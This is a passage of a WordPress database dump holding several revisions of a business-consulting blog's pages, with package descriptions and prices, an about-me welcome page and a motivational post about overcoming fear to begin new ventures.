src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting their business to the $million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10,000-20,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn sets the trajectory of your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn!</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-22 19:24:25', '2010-04-23 02:24:25', '', 138, 'http://www.whitehotcenter.com/2010/04/22/138-revision-64/', 0, 'revision', '', 0);
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(757, 2, '2010-04-22 19:33:00', '2010-04-23 02:33:00', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and team growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications) </strong></span>\r\n</span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting their business to the $million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10,000-20,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn!</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-22 19:33:00', '2010-04-23 02:33:00', '', 138, 'http://www.whitehotcenter.com/2010/04/22/138-revision-65/', 0, 'revision', '', 0),
(758, 2, '2010-04-18 11:40:09', '2010-04-18 18:40:09', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I<span style="color: #ff6600;">’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></span><span style="color: #ff6600;"> Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan: </span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</span><strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that support entrepreneurs, small business leaders and solo professionals to create a life of significance and contribution doing what they love through the venue of their business. Here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve helped business people in organizations large and small, discover and define their unique voice, brand identity and value proposition to their customers.  As a result of this experience, I wanted to share ideas and a point of view about business development, personal and professional growth that will inspire you to have more clarity and confidence to pursue your best opportunities.  You can learn about my professional background and expertise in product and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">My purpose here is to serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></h2>\r\nIt''s my belief that creating massive success in life begins within us. Creating what you desire requires the right thinking and disciplined action in equal measure. Success is a life-long process of never ending growth and expansion. After you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies that are useful to your business growth and add value to your life''s journey. Of course, your comments will only elevate the conversation for all of  us. I look forward to you sharing your thoughts with all of us in the  comments section. I wish you inspired success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-04-18 11:40:09', '2010-04-18 18:40:09', '', 172, 'http://www.whitehotcenter.com/2010/04/18/172-revision-63/', 0, 'revision', '', 0),
(759, 2, '2010-04-22 20:08:13', '2010-04-23 03:08:13', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I<span style="color: #ff6600;">’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></span><span style="color: #ff6600;"> Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan: </span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</span><strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that support entrepreneurs, small business leaders and solo professionals to create a life of significance and contribution doing what they love through the venue of their business. Here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle mastery and personal effectiveness to create more free time and money to imagine ways to expand your contribution to the world, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery  of effective marketing and business development strategies to grow your  business doing what you love with clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve helped business people in organizations large and small, discover and define their unique voice, build their personal and organizational identity and value proposition to their customers.  As a result of my experience, I wanted to share useful ideas and a point of view on personal and professional growth, lifestyle design, value creation and demand generation. that will inspire entrepreneurs and solo professionals with more clarity and confidence to pursue their best opportunities.  You can learn about my professional background and expertise in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">It''s my intention to have the WhiteHotCenter be a useful source of  inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nIt''s my belief that everything we experience in life begins within us.  I''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibility become achievement.  Inspired thought and disciplined action in equal measure make this happen. It is a life-long process of never ending growth and expansion. If you like what you find here, perhaps you''ll subscribe to receive the posts directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies that are immediately useful to your business growth and add value to your life''s journey. Of course, your comments will only elevate and enrich the conversation for all of  us. I look forward to you sharing your thoughts the  comments section. I wish you inspired success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\ninspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-04-22 20:08:13', '2010-04-23 03:08:13', '', 172, 'http://www.whitehotcenter.com/2010/04/22/172-revision-64/', 0, 'revision', '', 0),
(760, 2, '2010-04-22 20:20:16', '2010-04-23 03:20:16', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I<span style="color: #ff6600;">’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></span><span style="color: #ff6600;"> Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan: </span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</span><strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that support entrepreneurs, small business leaders and solo professionals to create a life of significance and contribution doing what they love through the venue of their business. Here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle mastery and personal effectiveness to create more free time and money to imagine ways to expand your contribution to the world, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery  of effective marketing and business development strategies to grow your  business doing what you love with clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve consulted with companies large and small. I''ve helped executive management, business leaders and their teams discover their unique voice, define their personal and organizational identity, and create more compelling value propositions to their customers.  As a result of my experience, I wanted to share useful ideas and a point of view on personal and professional growth, lifestyle design, value creation and demand generation that will inspire creative entrepreneurs and solo professionals to gain  more clarity and confidence to pursue their best opportunities.  You can learn about my professional background and expertise in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">It''s my intention to have the WhiteHotCenter be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nIt''s my belief that everything we experience in life begins within us.  I''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibility become achievement.  Inspired thought and disciplined action in equal measure make this happen. It is a life-long process of never ending growth and expansion. If you like what you find here, perhaps you''ll subscribe to receive the posts directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies that are immediately useful to your business growth and add value to your life''s journey. Of course, your comments will only elevate and enrich the conversation for all of  us. I look forward to you sharing your thoughts in the  comments section. I wish you inspired success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\ninspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-04-22 20:20:16', '2010-04-23 03:20:16', '', 172, 'http://www.whitehotcenter.com/2010/04/22/172-revision-65/', 0, 'revision', '', 0),
(761, 2, '2009-04-03 15:23:09', '2009-04-03 22:23:09', 'Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you find yourself exclaiming "hey maybe this idea could work, yeah I see it!" Has that ever happened to you?\r\n\r\n<!--more-->\r\n\r\nOf course it has. Probably many times. You, like me,  may have stopped yourself, doubted yourself, or worse, believed you could not accomplish it at all because you don''t know the right people, don''t have enough money, time, whatever.\r\n\r\nMost people hold themselves back with three counter productive habits:\r\n\r\nThey distrust their inner wisdom and doubt they posses an inventive inclination. This renders them forever dependent on the thinking and advice of others.\r\n\r\nThey lack a long-term plan in alignment with a guiding life purpose. This enables them to stubbornly resist accepting  full responsibility for their own future.\r\n\r\nThey don''t believe in whatever hope or resourcefulness their own mind gives them about their own potential to radically change their life''s circumstances toward the good they desire.\r\n\r\nAlmost all us, at one time or another, fear our own potential. One person side-steps a business opportunity because it is too risky. Another, allows a destructive relationship to make them miserable because they don''t want to be alone. Still another rejects an important advocation because they don''t see any usefulness to it. Fear''s general message tells us we are not yet ready to begin to do, be and have the life we desire.\r\n\r\nThe way out of this has little to do with acquiring more technical skill, education or knowledge. We must first have a change of mind about ourselves.  We must expand our awareness. We must allow a process of self-discovery. Fear is natural. It will always be around us anytime we seek to leave what is familiar. We all feel fear at the beginning of some bold endeavor.  There''s no frame of reference when we are at the beginning of something.  Only 2 in 10 people will make the decision to go for what they already see so vividly in their mind. To step forward boldly in faith and belief towards the action that will make the big idea come to life in the physical.  At some point, one must begin. Successful people just seem to know this inherently. There is no hand-wringing. They simply move elegantly toward their goal. Even though they too experience resistance and fear. They do it anyway.\r\n\r\nThese times are called life''s defining moments. Welcome them.\r\n\r\nIf you are stuck in fear and crippled by confusion and anxiety, try asking yourself "what am I afraid of losing if I go forward with this idea?"  I know it sounds deceivingly simple, but really, deeply ask yourself this question.  Once you realize  you really don''t have anything to lose and everything to gain,  it makes the fear seem somehow trivial in comparison to the potential good you desire. Any idea that advances you in the direction of your goal must be acted upon. Your inner voice always knows where it must go... listen and trust it!\r\n\r\nIs there something you just know you would be so perfect for? An idea, belief or value that is sacred to you?  Are you on the edge of your comfort zone doubting it can be yours because you believe more in the compelling evidence of  your limitations than you do in your own unseen greatest potential? This is a defining moment in life.  This is the time to break free from your perceived limitations and begin! Are you ready to begin. If so,  do it NOW with what you have.  Trust that you will accomplish what you desire with the help of the unseen forces that are gathering and rallying around you. Make a decision, move forward and don''t look back.\r\n\r\nThat''s what I am doing right now. I am beginning to plant a new life.  A life that is moving in a direction that is more along the lines of my purpose for being here in the first place. I am here to inspire people to live fully from their white hot center. That''s what this blog is about.  As I find things of interest that inspire me, I''ll pass them along to my readers so they may experience equal or greater inspiration.  And I am well-equipped for this purpose because it is MY purpose. I use MY gifts in service to others. I have discovered it within myself. Where it has always been.\r\n\r\nSo begin. You don''t  need to know how it will come to be... just begin in an easy and relaxed manner. I am finding this experience of writing to be completely wild and exhilarating.  I have some new ideas that inspire me to continue to move forward despite whatever fear and doubt shows up. This venue is one example.  It''s my prototype. I am putting it out there. I won''t let fear stop me from doing this. I have never done this before...so what!  I am hoping to make a lot of mistakes and mis-steps because that''s how I know I am growing and expanding. Expansion is in harmony with the direction the universe is going. We grow or begin to die slowly. It is always a choice.\r\n\r\nWhatever it is for you, begin immediately! Don''t leave this life with your song still inside you.', 'Are you ready to begin?', 0, 'Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you...\r\n', 'inherit', 'open', 'open', '', '31-revision-2', '', '', '2009-04-03 15:23:09', '2009-04-03 22:23:09', '', 31, 'http://www.whitehotcenter.com/2009/04/03/31-revision-2/', 0, 'revision', '', 0),
(763, 2, '2010-04-22 20:40:50', '2010-04-23 03:40:50', '<h2>Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you find yourself exclaiming "hey maybe this idea could work, yeah I see it!" Has that ever happened to you?</h2>\r\n<!--more-->\r\n\r\nOf course it has. Probably many times. You, like me,  may have stopped yourself, doubted yourself, or worse, believed you could not accomplish it at all because you don''t know the right people, don''t have enough money, time, whatever.\r\n\r\n<strong>Most people hold themselves back with three counter productive habits:</strong>\r\n\r\n<strong>They distrust their inner wisdom and doubt they posses an inventive inclination. This renders them forever dependent on the thinking and advice of others.</strong>\r\n\r\n<strong>They lack a long-term plan in alignment with a guiding life purpose. This enables them to stubbornly resist accepting  full responsibility for their own future.</strong>\r\n\r\n<strong>They don''t believe in whatever hope or resourcefulness their own mind gives them about their own potential to radically change their life''s circumstances toward the good they desire.</strong>\r\n\r\nAlmost all us, at one time or another, fear our own potential. One person side-steps a business opportunity because it is too risky. Another, allows a destructive relationship to make them miserable because they don''t want to be alone. Still another rejects an important advocation because they don''t see any usefulness to it. Fear''s general message tells us we are not yet ready to begin to do, be and have the life we desire.\r\n\r\nThe way out of this has little to do with acquiring more technical skill, education or knowledge. We must first have a change of mind about ourselves.  We must expand our awareness. We must allow a process of self-discovery. Fear is natural. It will always be around us anytime we seek to leave what is familiar. We all feel fear at the beginning of some bold endeavor.  There''s no frame of reference when we are at the beginning of something.  Only 2 in 10 people will make the decision to go for what they already see so vividly in their mind. To step forward boldly in faith and belief towards the action that will make the big idea come to life in the physical.  At some point, one must begin. Successful people just seem to know this inherently. There is no hand-wringing. They simply move elegantly toward their goal. Even though they too experience resistance and fear. They do it anyway.\r\n<h2>These times are called life''s defining moments. Welcome them.</h2>\r\nIf you are stuck in fear and crippled by confusion and anxiety, try asking yourself "what am I afraid of losing if I go forward with this idea?"  I know it sounds deceivingly simple, but really, deeply ask yourself this question.  Once you realize  you really don''t have anything to lose and everything to gain,  it makes the fear seem somehow trivial in comparison to the potential good you desire. Any idea that advances you in the direction of your goal must be acted upon. Your inner voice always knows where it must go... listen and trust it!\r\n\r\nIs there something you just know you would be so perfect for? An idea, belief or value that is sacred to you?  Are you on the edge of your comfort zone doubting it can be yours because you believe more in the compelling evidence of  your limitations than you do in your own unseen greatest potential? This is a defining moment in life.  This is the time to break free from your perceived limitations and begin! Are you ready to begin. If so,  do it NOW with what you have.  Trust that you will accomplish what you desire with the help of the unseen forces that are gathering and rallying around you. Make a decision, move forward and don''t look back.\r\n\r\nMake a decision to begin NOW! You don''t need to know how it will come to be... just begin in an easy and relaxed manner.\r\n\r\n<strong>Growth and expansion is in harmony with the direction the universe is going. We grow or begin to die slowly. It is always a choice. Whatever it is for you, begin immediately! Don''t leave this life with your song still inside you.</strong>', 'Are you ready to begin?', 0, 'Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you...\r\n', 'inherit', 'open', 'open', '', '31-revision-4', '', '', '2010-04-22 20:40:50', '2010-04-23 03:40:50', '', 31, 'http://www.whitehotcenter.com/2010/04/22/31-revision-4/', 0, 'revision', '', 0),
(762, 2, '2010-04-22 20:33:34', '2010-04-23 03:33:34', '<h2>Have you ever been thinking or visualizing about an idea, and it seems so exciting that it crystallizes in your mind so vividly that it seems as if it already has happened? Ever had that happen to you? Did you find yourself exclaiming "hey maybe this idea could work, yeah I see it!" Has that ever happened to you?</h2>\r\n<!--more-->\r\n\r\nOf course it has. Probably many times. You, like me,  may have stopped yourself, doubted yourself, or worse, believed you could not accomplish it at all because you don''t know the right people, don''t have enough money, time, whatever.\r\n\r\nMost people hold themselves back with three counter productive habits:\r\n\r\nThey distrust their inner wisdom and doubt they posses an inventive inclination. This renders them forever dependent on the thinking and advice of others.\r\n\r\nThey lack a long-term plan in alignment with a guiding life purpose. This enables them to stubbornly resist accepting  full responsibility for their own future.\r\n\r\nThey don''t believe in whatever hope or resourcefulness their own mind gives them about their own potential to radically change their life''s circumstances toward the good they desire.\r\n\r\nAlmost all us, at one time or another, fear our own potential. One person side-steps a business opportunity because it is too risky. Another, allows a destructive relationship to make them miserable because they don''t want to be alone. Still another rejects an important advocation because they don''t see any usefulness to it. Fear''s general message tells us we are not yet ready to begin to do, be and have the life we desire.\r\n\r\nThe way out of this has little to do with acquiring more technical skill, education or knowledge. We must first have a change of mind about ourselves.  We must expand our awareness. We must allow a process of self-discovery. Fear is natural. It will always be around us anytime we seek to leave what is familiar. We all feel fear at the beginning of some bold endeavor.  There''s no frame of reference when we are at the beginning of something.  Only 2 in 10 people will make the decision to go for what they already see so vividly in their mind. To step forward boldly in faith and belief towards the action that will make the big idea come to life in the physical.  At some point, one must begin. Successful people just seem to know this inherently. There is no hand-wringing. They simply move elegantly toward their goal. Even though they too experience resistance and fear. They do it anyway.\r\n\r\nThese times are called life''s defining moments. Welcome them.\r\n\r\nIf you are stuck in fear and crippled by confusion and anxiety, try asking yourself "what am I afraid of losing if I go forward with this idea?"  I know it sounds deceivingly simple, but really, deeply ask yourself this question.  Once you realize  you really don''t have anything to lose and everything to gain,  it makes the fear seem somehow trivial in comparison to the potential good you desire. Any idea that advances you in the direction of your goal must be acted upon. Your inner voice always knows where it must go... listen and trust it!\r\n\r\nIs there something you just know you would be so perfect for? An idea, belief or value that is sacred to you?  Are you on the edge of your comfort zone doubting it can be yours 